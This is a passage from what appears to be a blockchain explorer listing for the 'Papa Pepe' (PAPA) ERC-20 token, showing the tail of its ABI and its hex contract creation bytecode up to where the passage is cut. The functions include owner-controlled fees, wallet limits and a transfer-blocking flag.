pe":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"},{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526001600b60006101000a81548160ff0219169083151502179055506000600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff0219169083151502179055506001601060006101000a81548160ff0219169083151502179055503480156200007d57600080fd5b506040518060400160405280600981526020017f50617061205065706500000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f504150410000000000000000000000000000000000000000000000000000000081525081600390805190602001906200010292919062000b89565b5080600490805190602001906200011b92919062000b89565b5050506000620001306200065560201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001fb8160016200065d60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a1919062000ca3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000309573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032f919062000ca3565b6040518363ffffffff1660e01b81526004016200034e92919062000ce6565b6020604051808303816000875af11580156200036e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000394919062000ca3565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620003dc60a05160016200065d60201b60201c565b620003f160a05160016200075a60201b60201c565b6000600a905060008060006014905060008060006a52b7d2dcc80cd2e400000090506103e8600f8262000425919062000d4c565b62000431919062000ddc565b6008819055506103e8600f8262000449919062000d4c565b62000455919062000ddc565b600a819055506127106004826200046d919062000d4c565b62000479919062000ddc565b600981905550866012819055508560138190555084601481905550601454601354601254620004a9919062000e14565b620004b5919062000e14565b601181905550836016819055508260178190555081601881905550601854601754601654620004e5919062000e14565b620004f1919062000e14565b60158190555073c0f720df232ed2976962be105f47718669286fdb600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c0f720df232ed2976962be105f47718669286fdb600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c3620005b5620007fb60201b60201c565b60016200082560201b60201c565b620005d63060016200082560201b60201c565b620005eb61dead60016200082560201b60201c565b6200060d620005ff620007fb60201b60201c565b60016200065d60201b60201c565b620006203060016200065d60201b60201c565b6200063561dead60016200065d60201b60201c565b6200064733826200097260201b60201c565b5050505050505050620010a5565b600033905090565b6200066d6200065560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620006ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006f69062000ed2565b60405180910390fd5b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620008356200065560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008c7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008be9062000ed2565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000966919062000f11565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620009e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009dc9062000f7e565b60405180910390fd5b620009f96000838362000b2160201b60201c565b62000a158160025462000b2660201b620024911790919060201c565b60028190555062000a73816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000b2660201b620024911790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b15919062000fb1565b60405180910390a35050565b505050565b600080828462000b37919062000e14565b90508381101562000b7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b76906200101e565b60405180910390fd5b8091505092915050565b82805462000b97906200106f565b90600052602060002090601f01602090048101928262000bbb576000855562000c07565b82601f1062000bd657805160ff191683800117855562000c07565b8280016001018555821562000c07579182015b8281111562000c0657825182559160200191906001019062000be9565b5b50905062000c16919062000c1a565b5090565b5b8082111562000c3557600081600090555060010162000c1b565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c6b8262000c3e565b9050919050565b62000c7d8162000c5e565b811462000c8957600080fd5b50565b60008151905062000c9d8162000c72565b92915050565b60006020828403121562000cbc5762000cbb62000c39565b5b600062000ccc8482850162000c8c565b91505092915050565b62000ce08162000c5e565b82525050565b600060408201905062000cfd600083018562000cd5565b62000d0c602083018462000cd5565b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d598262000d13565b915062000d668362000d13565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000da25762000da162000d1d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000de98262000d13565b915062000df68362000d13565b92508262000e095762000e0862000dad565b5b828204905092915050565b600062000e218262000d13565b915062000e2e8362000d13565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000e665762000e6562000d1d565b5b828201905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000eba60208362000e71565b915062000ec78262000e82565b602082019050919050565b6000602082019050818103600083015262000eed8162000eab565b9050919050565b60008115159050919050565b62000f0b8162000ef4565b82525050565b600060208201905062000f28600083018462000f00565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000f66601f8362000e71565b915062000f738262000f2e565b602082019050919050565b6000602082019050818103600083015262000f998162000f57565b9050919050565b62000fab8162000d13565b82525050565b600060208201905062000fc8600083018462000fa0565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001006601b8362000e71565b9150620010138262000fce565b602082019050919050565b60006020820190508181036000830152620010398162000ff7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200108857607f821691505b602082108114156200109f576200109e62001040565b5b50919050565b60805160a0516157d6620011036000396000818161110e015281816118be0152612b5d015260008181610d2301528181612b0501528181613f4b0152818161402c01528181614053015281816140ef015261411601526157d66000f3fe6080604052600436106103035760003560e01c8063924de9b711610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610ba7578063f2fde38b14610bd2578063f637434214610bfb578063f8b45b0514610c265761030a565b8063dd62ed3e14610b14578063e2f4560514610b51578063e884f26014610b7c5761030a565b8063c17b5b8c14610a04578063c18bc19514610a2d578063c876d0b914610a56578063c8c8ebe414610a81578063d257b34f14610aac578063d85ba06314610ae95761030a565b8063a457c2d711610149578063ab9562fe11610123578063ab9562fe1461094a578063b62496f514610973578063bbc0c742146109b0578063c0246668146109db5761030a565b8063a457c2d7146108a7578063a9059cbb146108e4578063aacebbe3146109215761030a565b8063924de9b7146107a957806395d89b41146107d25780639a7a23d6146107fd5780639c3b4fdc146108265780639fccce3214610851578063a0d82dc51461087c5761030a565b80634a62bb651161024f578063751039fc116102085780638095d564116101e25780638095d564146107135780638a8c523c1461073c5780638da5cb5b14610753578063921369131461077e5761030a565b8063751039fc146106945780637571336a146106bf5780637bce5a04146106e85761030a565b80634a62bb65146105825780634fbee193146105ad5780636a486a8e146105ea5780636ddd17131461061557806370a0823114610640578063715018a61461067d5761030a565b80631f3fed8f116102bc5780632d5a5d34116102965780632d5a5d34146104c6578063313ce567146104ef578063395093511461051a57806349bd5a5e146105575761030a565b80631f3fed8f14610435578063203e727e1461046057806323b872dd146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806310d5de53146103775780631694505e146103b457806318160ddd146103df5780631a8145bb1461040a5761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c51565b60405161033191906142bf565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061437a565b610ce3565b60405161036e91906143d5565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906143f0565b610d01565b6040516103ab91906143d5565b60405180910390f35b3480156103c057600080fd5b506103c9610d21565b6040516103d6919061447c565b60405180910390f35b3480156103eb57600080fd5b506103f4610d45565b60405161040191906144a6565b60405180910390f35b34801561041657600080fd5b5061041f610d4f565b60405161042c91906144a6565b60405180910390f35b34801561044157600080fd5b5061044a610d55565b60405161045791906144a6565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906144c1565b610d5b565b005b34801561049557600080fd5b506104b060048036038101906104ab91906144ee565b610e85565b6040516104bd91906143d5565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e8919061456d565b610f5e565b005b3480156104fb57600080fd5b50610504611050565b60405161051191906145c9565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c919061437a565b611059565b60405161054e91906143d5565b60405180910390f35b34801561056357600080fd5b5061056c61110c565b60405161057991906145f3565b60405180910390f35b34801561058e57600080fd5b50610597611130565b6040516105a491906143d5565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf91906143f0565b611143565b6040516105e191906143d5565b60405180910390f35b3480156105f657600080fd5b506105ff611199565b60405161060c91906144a6565b60405180910390f35b34801561062157600080fd5b5061062a61119f565b60405161063791906143d5565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143f0565b6111b2565b60405161067491906144a6565b60405180910390f35b34801561068957600080fd5b506106926111fa565b005b3480156106a057600080fd5b506106a9611352565b6040516106b691906143d5565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061456d565b61140d565b005b3480156106f457600080fd5b506106fd6114ff565b60405161070a91906144a6565b60405180910390f35b34801561071f57600080fd5b5061073a6004803603810190610735919061460e565b611505565b005b34801561074857600080fd5b506107516115d9565b005b34801561075f57600080fd5b506107686116af565b60405161077591906145f3565b60405180910390f35b34801561078a57600080fd5b506107936116d9565b6040516107a091906144a6565b60405180910390f35b3480156107b557600080fd5b506107d060048036038101906107cb9190614661565b6116df565b005b3480156107de57600080fd5b506107e7611793565b6040516107f491906142bf565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f919061456d565b611825565b005b34801561083257600080fd5b5061083b611959565b60405161084891906144a6565b60405180910390f35b34801561085d57600080fd5b5061086661195f565b60405161087391906144a6565b60405180910390f35b34801561088857600080fd5b50610891611965565b60405161089e91906144a6565b60405180910390f35b3480156108b357600080fd5b506108ce60048036038101906108c9919061437a565b61196b565b6040516108db91906143d5565b60405180910390f35b3480156108f057600080fd5b5061090b6004803603810190610906919061437a565b611a38565b60405161091891906143d5565b60405180910390f35b34801561092d57600080fd5b50610948600480360381019061094391906143f0565b611a56565b005b34801561095657600080fd5b50610971600480360381019061096c919061437a565b611bad565b005b34801561097f57600080fd5b5061099a600480360381019061099591906143f0565b611c92565b6040516109a791906143d5565b60405180910390f35b3480156109bc57600080fd5b506109c5611cb2565b6040516109d291906143d5565b60405180910390f35b3480156109e757600080fd5b50610a0260048036038101906109fd919061456d565b611cc5565b005b348015610a1057600080fd5b50610a2b6004803603810190610a26919061460e565b611e05565b005b348015610a3957600080fd5b50610a546004803603810190610a4f91906144c1565b611ed9565b005b348015610a6257600080fd5b50610a6b611fe1565b604051610a7891906143d5565b60405180910390f35b348015610a8d57600080fd5b50610a96611ff4565b604051610aa391906144a6565b60405180910390f35b348015610ab857600080fd5b50610ad36004803603810190610ace91906144c1565b611ffa565b604051610ae091906143d5565b60405180910390f35b348015610af557600080fd5b50610afe61216a565b604051610b0b91906144a6565b60405180910390f35b348015610b2057600080fd5b50610b3b6004803603810190610b36919061468e565b612170565b604051610b4891906144a6565b60405180910390f35b348015610b5d57600080fd5b50610b666121f7565b604051610b7391906144a6565b60405180910390f35b348015610b8857600080fd5b50610b916121fd565b604051610b9e91906143d5565b60405180910390f35b348015610bb357600080fd5b50610bbc6122b8565b604051610bc991906144a6565b60405180910390f35b348015610bde57600080fd5b50610bf96004803603810190610bf491906143f0565b6122be565b005b348015610c0757600080fd5b50610c10612485565b604051610c1d91906144a6565b60405180910390f35b348015610c3257600080fd5b50610c3b61248b565b604051610c4891906144a6565b60405180910390f35b606060038054610c60906146fd565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8c906146fd565b8015610cd95780601f10610cae57610100808354040283529160200191610cd9565b820191906000526020600020905b815481529060010190602001808311610cbc57829003601f168201915b5050505050905090565b6000610cf7610cf06124ef565b84846124f7565b6001905092915050565b601e6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b601a5481565b60195481565b610d636124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de99061477b565b60405180910390fd5b670de0b6b3a76400006103e86001610e08610d45565b610e1291906147ca565b610e1c9190614853565b610e269190614853565b811015610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906148f6565b60405180910390fd5b670de0b6b3a764000081610e7c91906147ca565b60088190555050565b6000610e928484846126c2565b610f5384610e9e6124ef565b610f4e8560405180606001604052806028815260200161575460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f046124ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d89092919063ffffffff16565b6124f7565b600190509392505050565b610f666124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec9061477b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b60006111026110666124ef565b846110fd85600160006110776124ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249190919063ffffffff16565b6124f7565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600b60009054906101000a900460ff1681565b6000601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60155481565b600b60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112026124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061477b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061135c6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e29061477b565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506001905090565b6114156124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149b9061477b565b60405180910390fd5b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b61150d6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461159c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115939061477b565b60405180910390fd5b8260148190555081601381905550806012819055506012546013546014546115c49190614916565b6115ce9190614916565b601181905550505050565b6115e16124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611670576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116679061477b565b60405180910390fd5b6001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff02191690831515021790555043601c81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b6116e76124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d9061477b565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b6060600480546117a2906146fd565b80601f01602080910402602001604051908101604052809291908181526020018280546117ce906146fd565b801561181b5780601f106117f05761010080835404028352916020019161181b565b820191906000526020600020905b8154815290600101906020018083116117fe57829003601f168201915b5050505050905090565b61182d6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b39061477b565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561194b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611942906149de565b60405180910390fd5b611955828261363c565b5050565b60145481565b601b5481565b60185481565b6000611a2e6119786124ef565b84611a298560405180606001604052806025815260200161577c60259139600160006119a26124ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d89092919063ffffffff16565b6124f7565b6001905092915050565b6000611a4c611a456124ef565b84846126c2565b6001905092915050565b611a5e6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae49061477b565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bee6124ef565b73ffffffffffffffffffffffffffffffffffffffff1614611c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3b90614a4a565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c8e816136dd565b5050565b601f6020528060005260406000206000915054906101000a900460ff1681565b600b60019054906101000a900460ff1681565b611ccd6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d539061477b565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611df991906143d5565b60405180910390a25050565b611e0d6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e939061477b565b60405180910390fd5b826018819055508160178190555080601681905550601654601754601854611ec49190614916565b611ece9190614916565b601581905550505050565b670de0b6b3a76400006103e86005611eef610d45565b611ef991906147ca565b611f039190614853565b611f0d9190614853565b811015611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4690614adc565b60405180910390fd5b611fde600f805480602002602001604051908101604052809291908181526020018280548015611fd457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611f8a575b5050505050613723565b50565b601060009054906101000a900460ff1681565b60085481565b60006120046124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208a9061477b565b60405180910390fd5b620186a060016120a1610d45565b6120ab91906147ca565b6120b59190614853565b8210156120f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ee90614b6e565b60405180910390fd5b6103e86005612104610d45565b61210e91906147ca565b6121189190614853565b82111561215a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215190614c00565b60405180910390fd5b8160098190555060019050919050565b60115481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b60006122076124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228d9061477b565b60405180910390fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60135481565b6122c66124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234c9061477b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bc90614c92565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60175481565b600a5481565b60008082846124a09190614916565b9050838110156124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90614cfe565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90614d90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ce90614e22565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516126b591906144a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272990614eb4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990614f46565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128465750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287c90614fd8565b60405180910390fd5b600081141561289f5761289a8383600061381c565b6135d3565b600b60009054906101000a900460ff1615612f62576128bc6116af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561292a57506128fa6116af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156129635750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561299d575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156129b65750600560149054906101000a900460ff16155b15612f6157600b60019054906101000a900460ff16612ab057601d60008473ffffffffffffffffffffffffff